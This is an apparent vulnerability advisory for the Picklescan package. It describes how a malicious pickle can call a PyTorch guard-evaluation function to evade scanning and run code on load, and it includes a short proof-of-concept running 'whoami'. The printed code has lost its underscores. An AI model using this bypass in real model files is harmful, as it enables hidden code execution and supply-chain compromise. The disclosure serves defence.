PT-2025-35527 · Pypi · Picklescan
Published
2025-08-22
·
Updated
2025-08-22
None
No severity ratings or metrics are available. When they are, we'll update the corresponding info on the page.
Summary
Using torch.fx.experimental.symbolic shapes.ShapeEnv.evaluate guards expression function, which is a pytorch library function to execute remote pickle file.
Details
The attack payload executes in the following steps:
First, the attacker craft the payload by calling to torch.fx.experimental.symbolic shapes.ShapeEnv.evaluate guards expression function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.
PoC
import types
import torch.fx.experimental.symbolic shapes as symbolic shapes
class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
def reduce (self):
fake self = str
code = " import ('os').system('whoami')"
args = []
return symbolic shapes.ShapeEnv.evaluate guards expression, (fake self, code, args)Impact
Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.
Corresponding
Insufficient Verification of Data Authenticity
Found an issue in the description? Have something to add? Feel free to write us 👾
Weakness Enumeration
Related Identifiers
Affected Products
Picklescan